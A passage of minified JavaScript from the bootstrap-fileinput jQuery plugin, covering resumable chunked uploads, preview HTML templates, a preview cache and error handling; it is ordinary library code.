a._log(n.invalidChunkSize,{chunkSize:r.chunkSize}),void(a.enableResumableUpload=!1);i=a.resumableManager={init:function(e,t,n){i.logs=[],i.stack=[],i.error="",i.id=e,i.file=t.file,i.fileName=t.name,i.fileIndex=n,i.completed=!1,i.lastProgress=0,a.showPreview&&(i.$thumb=o.getThumb(e)||null,i.$progress=i.$btnDelete=null,i.$thumb&&i.$thumb.length&&(i.$progress=i.$thumb.find(".file-thumb-progress"),i.$btnDelete=i.$thumb.find(".kv-file-remove"))),i.chunkSize=1024*r.chunkSize,i.chunkCount=i.getTotalChunks()},setAjaxError:function(e,t,o,s){e.responseJSON&&e.responseJSON.error&&(o=e.responseJSON.error.toString()),s||(i.error=o),r.showErrorLog&&a._log(n.ajaxError,{status:e.status,error:o,text:e.responseText||""})},reset:function(){i.stack=[],i.chunksProcessed={}},setProcessed:function(t){var n,s,l=i.id,d=i.$thumb,c=i.$progress,u=d&&d.length,p={id:u?d.attr("id"):"",index:o.getIndex(l),fileId:l},f=a.resumableUploadOptions.skipErrorsAndProceed;i.completed=!0,i.lastProgress=0,u&&d.removeClass("file-uploading"),"success"===t?(o.uploadedSize+=i.file.size,a.showPreview&&(a._setProgress(101,c),a._setThumbStatus(d,"Success"),a._initUploadSuccess(i.chunksProcessed[l].data,d)),o.removeFile(l),delete i.chunksProcessed[l],a._raise("fileuploaded",[p.id,p.index,p.fileId]),o.isProcessed()&&a._setProgress(101)):"cancel"!==t&&(a.showPreview&&(a._setThumbStatus(d,"Error"),a._setPreviewError(d,!0),a._setProgress(101,c,a.msgProgressError),a._setProgress(101,a.$progress,a.msgProgressError),a.cancelling=!f),a.$errorContainer.find('li[data-file-id="'+p.fileId+'"]').length||(s={file:i.fileName,max:r.maxRetries,error:i.error},n=a.msgResumableUploadRetriesExceeded.setTokens(s),e.extend(p,s),a._showFileError(n,p,"filemaxretries"),f&&(o.removeFile(l),delete i.chunksProcessed[l],o.isProcessed()&&a._setProgress(101)))),o.isProcessed()&&i.reset()},check:function(){var t=!0;e.each(i.logs,function(e,i){return i?void 0:(t=!1,!1)})},processedResumables:function(){var e,t=i.logs,a=0;if(!t||!t.length)return 0;for(e=0;e<t.length;e++)t[e]===!0&&a++;return a},getUploadedSize:function(){var e=i.processedResumables()*i.chunkSize;return e>i.file.size?i.file.size:e},getTotalChunks:function(){var e=parseFloat(i.chunkSize);return!isNaN(e)&&e>0?Math.ceil(i.file.size/e):0},getProgress:function(){var e=i.processedResumables(),t=i.chunkCount;return 0===t?0:Math.ceil(e/t*100)},checkAborted:function(e){a._isAborted()&&(clearInterval(e),a.unlock())},upload:function(){var e,r=o.getIdList(),n="new";e=setInterval(function(){var s;if(i.checkAborted(e),"new"===n&&(a.lock(),n="processing",s=r.shift(),o.initStats(s),o.stack[s]&&(i.init(s,o.stack[s],o.getIndex(s)),i.processUpload())),!o.isPending(s)&&i.completed&&(n="new"),o.isProcessed()){var l=a.$preview.find(".file-preview-initial");l.length&&(t.addCss(l,t.SORT_CSS),a._initSortable()),clearInterval(e),a._clearFileInput(),a.unlock(),setTimeout(function(){var e=a.previewCache.data;e&&(a.initialPreview=e.content,a.initialPreviewConfig=e.config,a.initialPreviewThumbTags=e.tags),a._raise("filebatchuploadcomplete",[a.initialPreview,a.initialPreviewConfig,a.initialPreviewThumbTags,a._getExtraData()])},a.processDelay)}},a.processDelay)},uploadResumable:function(){var e,t,n=a.taskManager,o=i.chunkCount;for(t=n.addPool(i.id),e=0;o>e;e++)i.logs[e]=!(!i.chunksProcessed[i.id]||!i.chunksProcessed[i.id][e]),i.logs[e]||i.pushAjax(e,0);t.run(r.maxThreads).done(function(){i.setProcessed("success")}).fail(function(){i.setProcessed(t.cancelled?"cancel":"error")})},processUpload:function(){var n,s,l,d,c,u,p,f=i.id;return r.testUrl?(n=new FormData,s=o.stack[f],a._setUploadData(n,{fileId:f,fileName:s.fileName,fileSize:s.size,fileRelativePath:s.relativePath,chunkSize:i.chunkSize,chunkCount:i.chunkCount}),l=function(e){p=a._getOutData(n,e),a._raise("filetestbeforesend",[f,o,i,p])},d=function(r,s,l){p=a._getOutData(n,l,r);var d=a.uploadParamNames,c=d.chunksUploaded||"chunksUploaded",u=[f,o,i,p];r[c]&&t.isArray(r[c])?(i.chunksProcessed[f]||(i.chunksProcessed[f]={}),e.each(r[c],function(e,t){i.logs[t]=!0,i.chunksProcessed[f][t]=!0}),i.chunksProcessed[f].data=r,a._raise("filetestsuccess",u)):a._raise("filetesterror",u),i.uploadResumable()},c=function(e,t,r){p=a._getOutData(n,e),a._raise("filetestajaxerror",[f,o,i,p]),i.setAjaxError(e,t,r,!0),i.uploadResumable()},u=function(){a._raise("filetestcomplete",[f,o,i,a._getOutData(n)])},void a._ajaxSubmit(l,d,u,c,n,f,i.fileIndex,r.testUrl)):void i.uploadResumable()},pushAjax:function(e,t){var r=a.taskManager,o=r.getPool(i.id);o.addTask(o.size()+1,function(e){var t,r=i.stack.shift();t=r[0],i.chunksProcessed[i.id]&&i.chunksProcessed[i.id][t]?a._log(n.chunkQueueError,{index:t}):i.sendAjax(t,r[1],e)}),i.stack.push([e,t])},sendAjax:function(e,s,l){var d,c=i.chunkSize,u=i.id,p=i.file,f=i.$thumb,g=t.logMessages,m=i.$btnDelete,v=function(e,t){t&&(e=e.setTokens(t)),e=g.resumableRequestError.setTokens({msg:e}),a._log(e),l.reject(e)};if(!i.chunksProcessed[u]||!i.chunksProcessed[u][e]){if(s>r.maxRetries)return v(g.resumableMaxRetriesReached,{n:r.maxRetries}),void i.setProcessed("error");var h,w,b,_,C,x,y=p.slice?"slice":p.mozSlice?"mozSlice":p.webkitSlice?"webkitSlice":"slice",T=p[y](c*e,c*(e+1));h=new FormData,d=o.stack[u],a._setUploadData(h,{chunkCount:i.chunkCount,chunkIndex:e,chunkSize:c,chunkSizeStart:c*e,fileBlob:[T,i.fileName],fileId:u,fileName:i.fileName,fileRelativePath:d.relativePath,fileSize:p.size,retryCount:s}),i.$progress&&i.$progress.length&&i.$progress.show(),b=function(r){w=a._getOutData(h,r),a.showPreview&&(f.hasClass("file-preview-success")||(a._setThumbStatus(f,"Loading"),t.addCss(f,"file-uploading")),m.attr("disabled",!0)),a._raise("filechunkbeforesend",[u,e,s,o,i,w])},_=function(t,d,c){if(a._isAborted())return void v(g.resumableAborting);w=a._getOutData(h,c,t);var p=a.uploadParamNames,f=p.chunkIndex||"chunkIndex",m=[u,e,s,o,i,w];t.error?(r.showErrorLog&&a._log(n.retryStatus,{retry:s+1,filename:i.fileName,chunk:e}),a._raise("filechunkerror",m),i.pushAjax(e,s+1),i.error=t.error,v(t.error)):(i.logs[t[f]]=!0,i.chunksProcessed[u]||(i.chunksProcessed[u]={}),i.chunksProcessed[u][t[f]]=!0,i.chunksProcessed[u].data=t,l.resolve.call(null,t),a._raise("filechunksuccess",m),i.check())},C=function(t,r,n){return a._isAborted()?void v(g.resumableAborting):(w=a._getOutData(h,t),i.setAjaxError(t,r,n),a._raise("filechunkajaxerror",[u,e,s,o,i,w]),i.pushAjax(e,s+1),void v(g.resumableRetryError,{n:s-1}))},x=function(){a._isAborted()||a._raise("filechunkcomplete",[u,e,s,o,i,a._getOutData(h)])},a._ajaxSubmit(b,_,x,C,h,u,i.fileIndex)}}},i.reset()}},_initTemplateDefaults:function(){var i,a,r,n,o,s,l,d,c,u,p,f,g,m,v,h,w,b,_,C,x,y,T,P,F,k,S,E,I,A,D,z,$,j,U,M,R,O,B,L,N,Z,H=this,W=function(e,i){return'<object class="kv-preview-data file-preview-'+e+'" title="{caption}" data="{data}" type="'+i+'"'+O+">\n"+t.DEFAULT_PREVIEW+"\n</object>\n"},q="btn btn-sm btn-kv "+t.defaultButtonCss();i='{preview}\n<div class="kv-upload-progress kv-hidden"></div><div class="clearfix"></div>\n<div class="file-caption {class}">\n <span class="file-caption-icon"></span>\n <div class="input-group">\n{caption}\n'+(t.isBs(5)?"":'<div class="input-group-btn input-group-append">\n')+" {remove}\n {cancel}\n {pause}\n {upload}\n {browse}\n"+(t.isBs(5)?"":" </div>\n")+" </div>",a='{preview}\n<div class="kv-upload-progress kv-hidden"></div>\n<div class="clearfix"></div>\n<span class="{class}">{remove}\n{cancel}\n{upload}\n{browse}\n</span>',r='<div class="file-preview {class}">\n {close} <div class="{dropClass} clearfix">\n <div class="file-preview-thumbnails clearfix">\n </div>\n <div class="file-preview-status text-center text-success"></div>\n <div class="kv-fileinput-error"></div>\n </div>\n</div>',o=t.closeButton("fileinput-remove"),n='<i class="bi-file-earmark-arrow-up"></i>',s='<input readonly class="file-caption-name form-control {class}">\n',l='<button type="{type}" title="{title}" class="{css}" {status} {tabIndexConfig}>{icon} {label}</button>',d='<a href="{href}" title="{title}" class="{css}" {status} {tabIndexConfig}>{icon} {label}</a>',c='<div class="{css}" {status} {tabIndexConfig}>{icon} {label}</div>',Z=t.MODAL_ID+"Label",u='<div id="'+t.MODAL_ID+'" class="file-zoom-dialog modal fade" aria-labelledby="'+Z+'" {tabIndexConfig}></div>', p='<div class="modal-dialog modal-lg{rtl}" role="document">\n <div class="modal-content">\n <div class="modal-header">\n <h5 class="modal-title" id="'+Z+'">{heading}</h5>\n <span class="kv-zoom-title"></span>\n <div class="kv-zoom-actions">{toggleheader}{fullscreen}{borderless}{close}</div>\n </div>\n <div class="modal-body">\n <div class="floating-buttons"></div>\n <div class="kv-zoom-body file-zoom-content {zoomFrameClass}"></div>\n{prev} {next}\n </div>\n </div>\n</div>\n',f='<div class="progress">\n <div class="{class}" role="progressbar" aria-valuenow="{percent}" aria-valuemin="0" aria-valuemax="100" style="width:{percent}%;">\n {status}\n </div>\n</div>{stats}',N='<div class="text-primary file-upload-stats"><span class="pending-time">{pendingTime}</span> <span class="upload-speed">{uploadSpeed}</span></div>',g=" <samp>({sizeText})</samp>",m='<div class="file-thumbnail-footer">\n <div class="file-footer-caption" title="{caption}">\n <div class="file-caption-info">{caption}</div>\n <div class="file-size-info">{size}</div>\n </div>\n {progress}\n{indicator}\n{actions}\n</div>',v='<div class="file-actions">\n <div class="file-footer-buttons">\n {download} {upload} {delete} {zoom} {other} </div>\n</div>\n{drag}\n<div class="clearfix"></div>',h='<button type="button" class="kv-file-remove {removeClass}" title="{removeTitle}" {dataUrl}{dataKey}>{removeIcon}</button>\n',w='<button type="button" class="kv-file-upload {uploadClass}" title="{uploadTitle}">{uploadIcon}</button>',b='<a class="kv-file-download {downloadClass}" title="{downloadTitle}" href="{downloadUrl}" download="{caption}" target="_blank">{downloadIcon}</a>',_='<button type="button" class="kv-file-zoom {zoomClass}" title="{zoomTitle}">{zoomIcon}</button>',C='<span class="file-drag-handle {dragClass}" title="{dragTitle}">{dragIcon}</span>',x='<div class="file-upload-indicator" title="{indicatorTitle}">{indicator}</div>',y='<div class="file-preview-frame {frameClass}" id="{previewId}" data-fileindex="{fileindex}" data-fileid="{fileid}" data-template="{template}"',T=y+'><div class="kv-file-content">\n',P=y+' title="{caption}"><div class="kv-file-content">\n',F="</div>{footer}\n{zoomCache}</div>\n",k="{content}\n",O=" {style}",S=W("html","text/html"),I=W("text","text/plain;charset=UTF-8"),M=W("pdf","application/pdf"),E='<img src="{data}" class="file-preview-image kv-preview-data" title="{title}" alt="{alt}"'+O+">\n",A='<iframe class="kv-preview-data file-preview-office" src="https://view.officeapps.live.com/op/embed.aspx?src={data}"'+O+"></iframe>",D='<iframe class="kv-preview-data file-preview-gdocs" src="https://docs.google.com/gview?url={data}&embedded=true"'+O+"></iframe>",z='<video class="kv-preview-data file-preview-video" controls'+O+'>\n<source src="{data}" type="{type}">\n'+t.DEFAULT_PREVIEW+"\n</video>\n",$='<!--suppress ALL --><audio class="kv-preview-data file-preview-audio" controls'+O+'>\n<source src="{data}" type="{type}">\n'+t.DEFAULT_PREVIEW+"\n</audio>\n",j='<embed class="kv-preview-data file-preview-flash" src="{data}" type="application/x-shockwave-flash"'+O+">\n",U='<object class="kv-preview-data file-preview-object file-object {typeCss}" data="{data}" type="{type}"'+O+'>\n<param name="movie" value="{caption}" />\n'+t.OBJECT_PARAMS+" "+t.DEFAULT_PREVIEW+"\n</object>\n",R='<div class="kv-preview-data file-preview-other-frame"'+O+">\n"+t.DEFAULT_PREVIEW+"\n</div>\n",B='<div class="kv-zoom-cache">{zoomContent}</div>',L={width:"100%",height:"100%","min-height":"480px"},H._isPdfRendered()&&(M=H.pdfRendererTemplate.replace("{renderer}",H._encodeURI(H.pdfRendererUrl))),H.defaults={layoutTemplates:{main1:i,main2:a,preview:r,close:o,fileIcon:n,caption:s,modalMain:u,modal:p,progress:f,stats:N,size:g,footer:m,indicator:x,actions:v,actionDelete:h,actionUpload:w,actionDownload:b,actionZoom:_,actionDrag:C,btnDefault:l,btnLink:d,btnBrowse:c,zoomCache:B},previewMarkupTags:{tagBefore1:T,tagBefore2:P,tagAfter:F},previewContentTemplates:{generic:k,html:S,image:E,text:I,office:A,gdocs:D,video:z,audio:$,flash:j,object:U,pdf:M,other:R},allowedPreviewTypes:["image","html","text","video","audio","flash","pdf","object"],previewTemplates:{},previewSettings:{image:{width:"auto",height:"auto","max-width":"100%","max-height":"100%"},html:{width:"213px",height:"160px"},text:{width:"213px",height:"160px"},office:{width:"213px",height:"160px"},gdocs:{width:"213px",height:"160px"},video:{width:"213px",height:"160px"},audio:{width:"100%",height:"30px"},flash:{width:"213px",height:"160px"},object:{width:"213px",height:"160px"},pdf:{width:"100%",height:"160px",position:"relative"},other:{width:"213px",height:"160px"}},previewSettingsSmall:{image:{width:"auto",height:"auto","max-width":"100%","max-height":"100%"},html:{width:"100%",height:"160px"},text:{width:"100%",height:"160px"},office:{width:"100%",height:"160px"},gdocs:{width:"100%",height:"160px"},video:{width:"100%",height:"auto"},audio:{width:"100%",height:"30px"},flash:{width:"100%",height:"auto"},object:{width:"100%",height:"auto"},pdf:{width:"100%",height:"160px"},other:{width:"100%",height:"160px"}},previewZoomSettings:{image:{width:"auto",height:"auto","max-width":"100%","max-height":"100%"},html:L,text:L,office:{width:"100%",height:"100%","max-width":"100%","min-height":"480px"},gdocs:{width:"100%",height:"100%","max-width":"100%","min-height":"480px"},video:{width:"auto",height:"100%","max-width":"100%"},audio:{width:"100%",height:"30px"},flash:{width:"auto",height:"480px"},object:{width:"auto",height:"100%","max-width":"100%","min-height":"480px"},pdf:L,other:{width:"auto",height:"100%","min-height":"480px"}},mimeTypeAliases:{"video/quicktime":"video/mp4"},fileTypeSettings:{image:function(e,i){return t.compare(e,"image.*")&&!t.compare(e,/(tiff?|wmf)$/i)||t.compare(i,/\.(gif|png|jpe?g)$/i)},html:function(e,i){return t.compare(e,"text/html")||t.compare(i,/\.(htm|html)$/i)},office:function(e,i){return t.compare(e,/(word|excel|powerpoint|office)$/i)||t.compare(i,/\.(docx?|xlsx?|pptx?|pps|potx?)$/i)},gdocs:function(e,i){return t.compare(e,/(word|excel|powerpoint|office|iwork-pages|tiff?)$/i)||t.compare(i,/\.(docx?|xlsx?|pptx?|pps|potx?|rtf|ods|odt|pages|ai|dxf|ttf|tiff?|wmf|e?ps)$/i)},text:function(e,i){return t.compare(e,"text.*")||t.compare(i,/\.(xml|javascript)$/i)||t.compare(i,/\.(txt|md|nfo|ini|json|php|js|css)$/i)},video:function(e,i){return t.compare(e,"video.*")&&(t.compare(e,/(ogg|mp4|mp?g|mov|webm|3gp)$/i)||t.compare(i,/\.(og?|mp4|webm|mp?g|mov|3gp)$/i))},audio:function(e,i){return t.compare(e,"audio.*")&&(t.compare(i,/(ogg|mp3|mp?g|wav)$/i)||t.compare(i,/\.(og?|mp3|mp?g|wav)$/i))},flash:function(e,i){return t.compare(e,"application/x-shockwave-flash",!0)||t.compare(i,/\.(swf)$/i)},pdf:function(e,i){return t.compare(e,"application/pdf",!0)||t.compare(i,/\.(pdf)$/i)},object:function(){return!0},other:function(){return!0}},fileActionSettings:{showRemove:!0,showUpload:!0,showDownload:!0,showZoom:!0,showDrag:!0,removeIcon:'<i class="bi-trash"></i>',removeClass:q,removeErrorClass:"btn btn-sm btn-kv btn-danger",removeTitle:"Remove file",uploadIcon:'<i class="bi-upload"></i>',uploadClass:q,uploadTitle:"Upload file",uploadRetryIcon:'<i class="bi-arrow-clockwise"></i>',uploadRetryTitle:"Retry upload",downloadIcon:'<i class="bi-download"></i>',downloadClass:q,downloadTitle:"Download file",zoomIcon:'<i class="bi-zoom-in"></i>',zoomClass:q,zoomTitle:"View Details",dragIcon:'<i class="bi-arrows-move"></i>',dragClass:"text-primary",dragTitle:"Move / Rearrange",dragSettings:{},indicatorNew:'<i class="bi-plus-lg text-warning"></i>',indicatorSuccess:'<i class="bi-check-lg text-success"></i>',indicatorError:'<i class="bi-exclamation-lg text-danger"></i>',indicatorLoading:'<i class="bi-hourglass-bottom text-muted"></i>',indicatorPaused:'<i class="bi-pause-fill text-primary"></i>',indicatorNewTitle:"Not uploaded yet",indicatorSuccessTitle:"Uploaded",indicatorErrorTitle:"Upload Error",indicatorLoadingTitle:"Uploading &hellip;",indicatorPausedTitle:"Upload Paused"}},e.each(H.defaults,function(t,i){return"allowedPreviewTypes"===t?void(void 0===H.allowedPreviewTypes&&(H.allowedPreviewTypes=i)):void(H[t]=e.extend(!0,{},i,H[t]))}),H._initPreviewTemplates()},_initPreviewTemplates:function(){var i,a=this,r=a.previewMarkupTags,n=r.tagAfter;e.each(a.previewContentTemplates,function(e,o){t.isEmpty(a.previewTemplates[e])&&(i=r.tagBefore2,"generic"!==e&&"image"!==e||(i=r.tagBefore1),a._isPdfRendered()&&"pdf"===e&&(i=i.replace("kv-file-content","kv-file-content kv-pdf-rendered")),a.previewTemplates[e]=i+o+n)})},_initPreviewCache:function(){var i=this;i.previewCache={data:{},init:function(){var e=i.initialPreview;e.length>0&&!t.isArray(e)&&(e=e.split(i.initialPreviewDelimiter)),i.previewCache.data={content:e,config:i.initialPreviewConfig,tags:i.initialPreviewThumbTags}},count:function(e){if(!i.previewCache.data||!i.previewCache.data.content)return 0;if(e){var t=i.previewCache.data.content.filter(function(e){return null!==e});return t.length}return i.previewCache.data.content.length},get:function(e,a){var r,n,o,s,l,d,c,u=t.INIT_FLAG+e,p=i.previewCache.data,f=p.config[e],g=p.content[e],m=t.ifSet("previewAsData",f,i.initialPreviewAsData),v=f?{title:f.title||null,alt:f.alt||null}:{title:null,alt:null},h=function(e,a,r,n,o,s,l,d){var c=" file-preview-initial "+t.SORT_CSS+(l?" "+l:""),u=i.previewInitId+"-"+s,p=f&&f.fileId||u;return i._generatePreviewTemplate(e,a,r,n,u,p,!1,null,c,o,s,d,v,f&&f.zoomData||a)};return g&&g.length?(a=void 0===a?!0:a,o=t.ifSet("type",f,i.initialPreviewFileType||"generic"),l=t.ifSet("filename",f,t.ifSet("caption",f)),d=t.ifSet("filetype",f,o),s=i.previewCache.footer(e,a,f&&f.size||null),c=t.ifSet("frameClass",f),r=m?h(o,g,l,d,s,u,c):h("generic",g,l,d,s,u,c,o).setTokens({content:p.content[e]}),p.tags.length&&p.tags[e]&&(r=t.replaceTags(r,p.tags[e])),t.isEmpty(f)||t.isEmpty(f.frameAttr)||(n=t.createElement(r),n.find(".file-preview-initial").attr(f.frameAttr),r=n.html(),n.remove()),r):""},clean:function(e){e.content=t.cleanArray(e.content),e.config=t.cleanArray(e.config),e.tags=t.cleanArray(e.tags),i.previewCache.data=e},add:function(e,a,r,n){var o,s=i.previewCache.data;return e&&e.length?(o=e.length-1,t.isArray(e)||(e=e.split(i.initialPreviewDelimiter)),n&&s.content?(o=s.content.push(e[0])-1,s.config[o]=a,s.tags[o]=r):(s.content=e,s.config=a,s.tags=r),i.previewCache.clean(s),o):0},set:function(e,a,r,n){var o,s,l=i.previewCache.data;if(e&&e.length&&(t.isArray(e)||(e=e.split(i.initialPreviewDelimiter)),s=e.filter(function(e){return null!==e}),s.length)){if(void 0===l.content&&(l.content=[]),void 0===l.config&&(l.config=[]),void 0===l.tags&&(l.tags=[]),n){for(o=0;o<e.length;o++)e[o]&&l.content.push(e[o]);for(o=0;o<a.length;o++)a[o]&&l.config.push(a[o]);for(o=0;o<r.length;o++)r[o]&&l.tags.push(r[o])}else l.content=e,l.config=a,l.tags=r;i.previewCache.clean(l)}},unset:function(a){var r=i.previewCache.count(),n=i.reversePreviewOrder;if(r){if(1===r)return i.previewCache.data.content=[],i.previewCache.data.config=[],i.previewCache.data.tags=[],i.initialPreview=[],i.initialPreviewConfig=[],void(i.initialPreviewThumbTags=[]);i.previewCache.data.content=t.spliceArray(i.previewCache.data.content,a,n),i.previewCache.data.config=t.spliceArray(i.previewCache.data.config,a,n),i.previewCache.data.tags=t.spliceArray(i.previewCache.data.tags,a,n);var o=e.extend(!0,{},i.previewCache.data);i.previewCache.clean(o)}},out:function(){var e,t,a,r="",n=i.previewCache.count();if(0===n)return{content:"",caption:""};for(t=0;n>t;t++)a=i.previewCache.get(t),r=i.reversePreviewOrder?a+r:r+a;return e=i._getMsgSelected(n),{content:r,caption:e}},footer:function(e,a,r){var n=i.previewCache.data||{};if(t.isEmpty(n.content))return"";(t.isEmpty(n.config)||t.isEmpty(n.config[e]))&&(n.config[e]={}),a=void 0===a?!0:a;var o,s=n.config[e],l=t.ifSet("caption",s),d=t.ifSet("width",s,"auto"),c=t.ifSet("url",s,!1),u=t.ifSet("key",s,null),p=t.ifSet("fileId",s,null),f=i.fileActionSettings,g=i.initialPreviewShowDelete||!1,m=i.initialPreviewDownloadUrl?i.initialPreviewDownloadUrl+"?key="+u+(p?"&fileId="+p:""):"",v=s.downloadUrl||m,h=s.filename||s.caption||"",w=!!v,b=t.ifSet("showRemove",s,g),_=t.ifSet("showDownload",s,t.ifSet("showDownload",f,w)),C=t.ifSet("showZoom",s,t.ifSet("showZoom",f,!0)),x=t.ifSet("showDrag",s,t.ifSet("showDrag",f,!0)),y=c===!1&&a;return _=_&&s.downloadUrl!==!1&&!!v,o=i._renderFileActions(s,!1,_,b,C,x,y,c,u,!0,v,h),i._getLayoutTemplate("footer").setTokens({progress:i._renderThumbProgress(),actions:o,caption:l,size:i._getSize(r),width:d,indicator:""})}},i.previewCache.init()},_isPdfRendered:function(){var e=this,t=e.usePdfRenderer,i="function"==typeof t?t():!!t;return i&&e.pdfRendererUrl},_handler:function(e,t,i){var a=this,r=a.namespace,n=t.split(" ").join(r+" ")+r;e&&e.length&&e.off(n).on(n,i)},_encodeURI:function(e){var t=this;return t.encodeUrl?encodeURI(e):e},_log:function(e,t){var i=this,a=i.$element.attr("id");i.showConsoleLogs&&(a&&(e='"'+a+'": '+e),e="bootstrap-fileinput: "+e,"object"==typeof t&&(e=e.setTokens(t)),window.console&&"undefined"!=typeof window.console.log?window.console.log(e):window.alert(e))},_validate:function(){var e=this,i="file"===e.$element.attr("type");return i||e._log(t.logMessages.badInputType),i},_errorsExist:function(){var i,a=this,r=a.$errorContainer.find("li");return r.length?!0:(i=t.createElement(a.$errorContainer.html()),i.find(".kv-error-close").remove(),i.find("ul").remove(),!!e.trim(i.text()).length)},_errorHandler:function(e,t){var i=this,a=e.target.error,r=function(e){i._showError(e.replace("{name}",t))};r(a.code===a.NOT_FOUND_ERR?i.msgFileNotFound:a.code===a.SECURITY_ERR?i.msgFileSecured:a.code===a.NOT_READABLE_ERR?i.msgFileNotReadable:a.code===a.ABORT_ERR?i.msgFilePreviewAborted:i.msgFilePreviewError)},_addError:function(e){var i=this,a=i.$errorContainer;e&&a.length&&(t.setHtml(a,i.errorCloseButton+e),i._handler(a.find(".kv-error-close"),"click",function(){setTimeout(function(){i.showPreview&&!i.getFrames().length&&i.clear(),a.fadeOut("slow")},i.processDelay)}))},_setValidationError:function(e){var i=this;e=(e?e+" ":"")+"has-error",i.$container.removeClass(e).addClass("has-error"),t.addCss(i.$caption,"is-invalid")},_resetErrors:function(e){var t=this,i=t.$errorContainer,a=t.resumableUploadOptions.retainErrorHistory;t.isPersistentError||t.enableResumableUpload&&a||(t.isError=!1,t.$container.removeClass("has-error"),t.$caption.removeClass("is-invalid is-valid file-processing"),i.html(""),e?i.fadeOut("slow"):i.hide())},_showFolderError:function(e){var t,i=this,a=i.$errorContainer;e&&(i.isAjaxUpload||i._clearFileInput(),t=i.msgFoldersNotAllowed.replace("{n}",e),i._addError(t),i._setValidationError(),a.fadeIn(i.fadeDelay),i._raise("filefoldererror",[e,t]))},_showFileError:function(e,t,i){var a=this,r=a.$errorContainer,n=i||"fileuploaderror",o=t&&t.fileId||"",s=t&&t.id?'<li data-thumb-id="'+t.id+'" data-file-id="'+o+'">'+e+"</li>":"<li>"+e+"</li>";return 0===r.find("ul").length?a._addError("<ul>"+s+"</ul>"):r.find("ul").append(s),r.fadeIn(a.fadeDelay),a._raise(n,[t,e]),a._setValidationError("file-input-new"),!0},_showError:function(e,t,i){var a=this,r=a.$errorContainer,n=i||"fileerror";return t=t||{},t.reader=a.reader,a._addError(e),r.fadeIn(a.fadeDelay),a._raise(n,[t,e]),a.isAjaxUpload||a._clearFileInput(),a._setValidationError("file-input-new"),a.$btnUpload.attr("disabled",!0),!0},_noFilesError:function(e){var t=this,i=t.minFileCount>1?t.filePlural:t.fileSingle,a=t.msgFilesTooLess.replace("{n}",t.minFileCount).replace("{files}",i),r=t.$errorContainer;a="<li>"+a+"</li>",0===r.find("ul").length?t._addError("<ul>"+a+"</ul>"):r.find("ul").append(a),t.isError=!0,t._updateFileDetails(0),r.fadeIn(t.fadeDelay),t._raise("fileerror",[e,a]),t._clearFileInput(),t._setValidationError()},_parseError:function(t,i,a,r){var n,o,s,l=this,d=e.trim(a+"");return o=i.responseJSON&&i.responseJSON.error?i.responseJSON.error.toString():"",s=o?o:i.responseText,l.cancelling&&l.msgUploadAborted&&(d=l.msgUploadAborted),l.showAjaxErrorDetails&&s&&(o?d=e.trim(o+""):(s=e.trim(s.replace(/\n\s*\n/g,"\n")),n=s.length?"<pre>"+s+"</pre>":"",d+=d?n:s)),d||(d=l.msgAjaxError.replace("{operation}",t)),l.cancelling=!1,r?"<b>"+r+": </b>"+d:d},_parseFileType:function(e,i){var a,r,n,o,s=this,l=s.allowedPreviewTypes||[];if("application/text-plain"===e)return"text";for(o=0;o<l.length;o++)if(n=l[o],a=s.fileTypeSettings[n],r=a(e,i)?n:"",!t.isEmpty(r))return r;return"other"},_getPreviewIcon:function(t){var i,a=this,r=null;return t&&t.indexOf(".")>-1&&(i=t.split(".").pop(),a.previewFileIconSettings&&(r=a.previewFileIconSettings[i]||a.previewFileIconSettings[i.toLowerCase()]||null),a.previewFileExtSettings&&e.each(a.previewFileExtSettings,function(e,t){return a.previewFileIconSettings[e]&&t(i)?void(r=a.previewFileIconSettings[e]):void 0})),r||a.previewFileIcon},_parseFilePreviewIcon:function(e,t){var i=this,a=i._getPreviewIcon(t),r=e;return r.indexOf("{previewFileIcon}")>-1&&(r=r.setTokens({previewFileIconClass:i.previewFileIconClass,previewFileIcon:a})),r},_raise:function(t,i){var a=this,r=e.Event(t);if(void 0!==i?a.$element.trigger(r,i):a.$element.trigger(r),r.isDefaultPrevented()||r.result===!1)return!1;switch(t){case"filebatchuploadcomplete":case"filebatchuploadsuccess":case"fileuploaded":case"fileclear":case"filecleared":case"filereset":case"fileerror":case"filefoldererror":case"fileuploaderror":case"filebatchuploaderror":case"filedeleteerror":case"filecustomerror":case"filesuccessremove":break;default:a.ajaxAborted||(a.ajaxAborted=r.result)}return!0},_listenFullScreen:function(e){var t,i,a=this,r=a.$modal;r&&r.length&&(t=r&&r.find(".btn-kv-fullscreen"),i=r&&r.find(".btn-kv-borderless"),t.length&&i.length&&(t.removeClass("active").attr("aria-pressed","false"),i.removeClass("active").attr("aria-pressed","false"),e?t.addClass("active").attr("aria-pressed","true"):i.addClass("active").attr("aria-pressed","true"),r.hasClass("file-zoom-fullscreen")?a._maximizeZoomDialog():e?a._maximizeZoomDialog():i.removeClass("active").attr("aria-pressed","false")))},_listen:function(){var i,a=this,r=a.$element,n=a.$form,o=a.$container;a._handler(r,"click",function(e){a._initFileSelected(),r.hasClass("file-no-browse")&&(r.data("zoneClicked")?r.data("zoneClicked",!1):e.preventDefault())}),a._handler(r,"change",e.proxy(a._change,a)),a._handler(a.$caption,"paste",e.proxy(a.paste,a)),a.showBrowse&&(a._handler(a.$btnFile,"click",e.proxy(a._browse,a)),a._handler(a.$btnFile,"keypress",function(e){var t=e.keyCode||e.which;13===t&&(r.trigger("click"),a._browse(e))})),a._handler(o.find(".fileinput-remove:not([disabled])"),"click",e.proxy(a.clear,a)),a._handler(o.find(".fileinput-cancel"),"click",e.proxy(a.cancel,a)),a._handler(o.find(".fileinput-pause"),"click",e.proxy(a.pause,a)),a._initDragDrop(),a._handler(n,"reset",e.proxy(a.clear,a)),a.isAjaxUpload||a._handler(n,"submit",e.proxy(a._submitForm,a)),a._handler(a.$container.find(".fileinput-upload"),"click",e.proxy(a._uploadClick,a)),a._handler(e(window),"resize",function(){a._listenFullScreen(screen.width===window.innerWidth&&screen.height===window.innerHeight)}),i="webkitfullscreenchange mozfullscreenchange fullscreenchange MSFullscreenChange",a._handler(e(document),i,function(){a._listenFullScreen(t.checkFullScreen())}),a.$caption.on("focus",function(){a.$captionContainer.focus()}),a._autoFitContent(),a._initClickable(),a._refreshPreview()},_autoFitContent:function(){var t,i=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,a=this,r=400>i?a.previewSettingsSmall||a.defaults.previewSettingsSmall:a.previewSettings||a.defaults.previewSettings;e.each(r,function(e,i){t=".file-preview-frame .file-preview-"+e,a.$preview.find(t+".kv-preview-data,"+t+" .kv-preview-data").css(i)})},_scanDroppedItems:function(e,i,a){a=a||"";var 